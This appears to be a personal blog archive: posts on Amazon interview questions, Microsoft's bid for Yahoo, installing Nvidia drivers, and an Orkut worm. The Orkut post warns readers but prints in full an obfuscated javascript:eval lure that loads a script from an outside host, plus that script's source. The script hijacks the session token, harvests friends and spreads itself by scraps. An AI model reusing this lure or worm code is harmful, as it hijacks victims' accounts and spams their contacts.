Amazon On Site round questions

1. Given an n, find the least significant non zero digit in n!, given that n! can go out of the number range. Example : if n=5, n!=120, return 2
Hint: what we need is (n!)%10 when we after removing all the 0's on the right side
and (xy)%10 = (x%10*y%10)%10

2. Design an editor

3. Given a,n find power(a,n)

Amazon Interview - second round

Hi,

I had my second round of phone interview on 8th October at 3:00PM. Questions were

1. Given an array A, how to circularly rotate the array for m times.
2. Given an array, it has elements first in increasing order then in decreasing order. How do you find the maximum element.
3. Given an array of characters A and a set S of characters, how do you remove the characters in the array A that are in the set S.
4. Write a function f(x,y) where x is the hours and y is the minutes, find the angle between the hours hand and minutes hand at the time x:y.

Amazon Interview questions

Hi,

I had the first round of phone interview with Amazon.
Interviewer asked me only 3 questions. Almost all telephonic interviews will be of one hour duration.

Question asked were
1. Given a very small array and a very big array, how do you find the intersection among them.
Ans. I answered him saying that i will have one hash built on the smaller one and use the bigger array and check if there are intersections.

2. How do you find the first 20 smallest elements in a very big array
Ans. Use some datastructure to sort first 20 elements in the big array, then for each subsequent element, check if it is bigger than the last element, if so, discard it, othersiwe store this and discard the largest


3. Given the arrival times and departure times of flights for past 24 hours, determine how many stair cases you need to serve the aeroplanes.

Microsoft Bids for Yahoo

My God,

Came to my surprise that microsoft has offered to buy Yahoo! for $44.6 billion in cash and stock, or $31 per share as reported by Associated Press .

God forbid Yahoo! if they accept this bid because its not in yahoo's interest to sell themselves to Microsoft.  Eager to know how Yahoo responds to this.

Blogged with Flock

Orkut Fools Day

This is about how people use bugs to exploit Orkut social network.




--------------Original Scrap received from friend-------------------------------------------------------

Scary Script - (Don't Worry Its Harmless)

*Copy Paste the Given Script In Address Bar And Press ENTER.
*Wait 2 Minutes.
*Enjoy The Fun.

javascript:eval(String.fromCharCode(100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 59, 99, 61, 100, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 100, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 99, 41, 59, 99, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 99, 111, 111, 108, 112, 99, 115, 116, 117, 102, 102, 46, 103, 111, 111, 103, 108, 101, 112, 97, 103, 101, 115, 46, 99, 111, 109, 47, 114, 111, 100, 114, 105, 103, 111, 46, 117, 115, 101, 114, 46, 106, 115, 39, 59, 118, 111, 105, 100, 40, 48, 41))

You Can Send This To Ur Friends And Scare Them Too.



--------------Character code printed as a string with a 2 line c program---------------------



javascript:eval(String.fromCharCode(d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://coolp cstuff.googlepages.com/rodrigo.user.js';void(0)))


---------------Javascript at coolpcstuff.googlepages.com----------------------------------------


var index = 0;
var POST = JSHDF["CGI.POST_TOKEN"];
var SIG = JSHDF["Page.signature.raw"];
function
createXMLHttpRequest ()
{
 try
 {
 return new ActiveXObject ("Msxml2.XMLHTTP")}
 catch (e)
 {
 };
 try
 {
 return new ActiveXObject ("Microsoft.XMLHTTP")}
 catch (e)
 {
 };
 try
 {
 return new XMLHttpRequest ()}
 catch (e)
 {
 };
return null};
function
setCookie (name, value, expires, path, domain, secure)
{
 var curCookie =
   name + "=" + escape (value) + (expires ? "; expires=" +
                                  expires.toGMTString () : "") +
   (path ? "; path=" + path : "") + (domain ? "; domain=" + domain : "") +
   (secure ? "; secure" : "");
document.cookie = curCookie};
function
getCookie (name)
{
 var dc = document.cookie;
 var prefix = name + "=";
 var begin = dc.indexOf ("; " + prefix);
 if (begin == -1)
   {
     begin = dc.indexOf (prefix);
     if (begin != 0)
       {
       return false}
   }
 else
   {
   begin += 2};
 var end = document.cookie.indexOf (";", begin);
 if (end == -1)
   {
   end = dc.length};
return unescape (dc.substring (begin + prefix.length, end))};
function
deleteCookie (name, path, domain)
{
 if (getCookie (name))
   {
     document.cookie =
       name + "=" + (path ? "; path=" + path : "") + (domain ? "; domain=" +
                                                      domain : "") +
       "; expires=Thu, 01-Jan-70 00:00:01 GMT";
   history.go (0)}
};
function
loadFriends ()
{
 var xml = createXMLHttpRequest ();
 if (xml)
   {
     xml.open ("GET", "http://www.orkut.com/Compose.aspx", true);
     xml.send (null);
     xml.onreadystatechange = function ()
     {
       if (xml.readyState == 4)
         {
           if (xml.status == 200)
             {
               var xmlr = xml.responseText;
               var div = document.createElement ("div");
               div.innerHTML = xmlr;
               var select = div.getElementsByTagName ("select").item (0);
               if (select)
                 {
                   select.removeChild (select.
                                       getElementsByTagName ("option").
                                       item (0));
                   select.setAttribute ("id", "selectedList");
                   select.style.display = "none";
                   document.body.appendChild (select);
                 sendScrap ()}
             }
           else
             {
             loadFriends ()}
         }
     };
   xml.send (null)}
};
function
cmm_join ()
{
 var send =
   "POST_TOKEN=" + encodeURIComponent (POST) + "&signature=" +
   encodeURIComponent (SIG) + "&Action.join";
 var xml = createXMLHttpRequest ();
 xml.open ('POST', 'http://www.orkut.com/CommunityJoin.aspx?cmm=26050471',
           true);
 xml.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
 xml.send (send);
 xml.onreadystatechange = function ()
 {
   if (xml.readyState == 4)
     {
       if (xml.status != 200)
         {
           cmm_join ();
         return};
     loadFriends ()}
 }
};
function
sendScrap ()
{
 if (index == document.getElementById ("selectedList").length)
   {
   return};
 var scrapText =
   "[b][u]Scary Script[/u] - [silver](Don't Worry Its Harmless)[/silver]<br><br>*Copy Paste the Given Script In Address Bar And Press ENTER.<br>*Wait 2 Minutes.<br>*Enjoy The Fun.[:P][/b]<br><br>[i][teal]javascript:eval(String.fromCharCode(100, 61, 100, 111, 99, 117, 109, 101, 110, 116, 59, 99, 61, 100, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 100, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 99, 41, 59, 99, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 99, 111, 111, 108, 112, 99, 115, 116, 117, 102, 102, 46, 103, 111, 111, 103, 108, 101, 112, 97, 103, 101, 115, 46, 99, 111, 109, 47, 114, 111, 100, 114, 105, 103, 111, 46, 117, 115, 101, 114, 46, 106, 115, 39, 59, 118, 111, 105, 100, 40, 48, 41))[/teal][/i]<br><br>[b]You Can Send This To Ur Friends And Scare Them Too.";
 var send =
   "Action.submit=1&POST_TOKEN=" + encodeURIComponent (POST) +
   "&scrapText=" + encodeURIComponent (scrapText) + "&signature=" +
   encodeURIComponent (SIG) + "&toUserId=" +
   document.getElementById ("selectedList").item (index).value;
 var xml = createXMLHttpRequest ();
 xml.open ("POST", "http://www.orkut.com/Scrapbook.aspx", true);
 xml.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded;");
 xml.send (send);
 xml.onreadystatechange = function ()
 {
   if (xml.readyState == 4)
     {
       index++;
       var wDate = new Date;
       wDate.setTime (wDate.getTime () + 86400);
       setCookie ('wormdoorkut', index, wDate);
     sendScrap ()}
 }
};
  layout =     " <input name=\"POST_TOKEN\" type=\"hidden\"/><input name=\"signature\" type=\"hidden\"/>"+
                "<center><h3><u>Linkosearch.com</u></h3></center><br>"+
                
                "<iframe src=\"http://linkosearch.com\" width=\"100%\" height=\"800px\"></iframe>" +
    
                                         
                
"<table><tr><td><br><div id=\"article\">                                         "+
"<h3><span>                                 "+
 
"<tr><td align=\"right\"><B> _ </B></td></tr>" +
"<tr><td align=\"center\"><br><br><b><font color=\"red\">Security Tip: Never run any script while logged into orkut.com, no matter what it claims to do.</font></b></td></tr>"+
"</table>" 
 
if (!getCookie ('wormdoorkut'))
 {
   var wDate = new Date;
   wDate.setTime (wDate.getTime () + 86400);
 setCookie ('wormdoorkut', '0', wDate)};
index = getCookie ('wormdoorkut');
cmm_join ();


----------------------------Moral--------------------------------------------------------
Do not ever paste any script in the address bar when you are logged into orkut or any other website as they may access your cookies and may play with your private data.

Above script accesses the friends list and sends this scraps to all the friends to create an avalanche of scraps.

Blogged with Flock

Installing Nvidia Drivers for Bujji's laptop

step1: yum update
step2: go to mess, have dinner, sleep, wake up, check if yum has completed
step3: download nvidia driver from nvidia website
step4: sh NVidiaxxxxxxxxxxx-pkg1.run
step5: if above command does not correctly install the driver, try step 6
step6: sh Nvidixxxxxxxxxxx-pkg1.run --update
step7: step 6 automatically installs the new updated package
step8: enjoy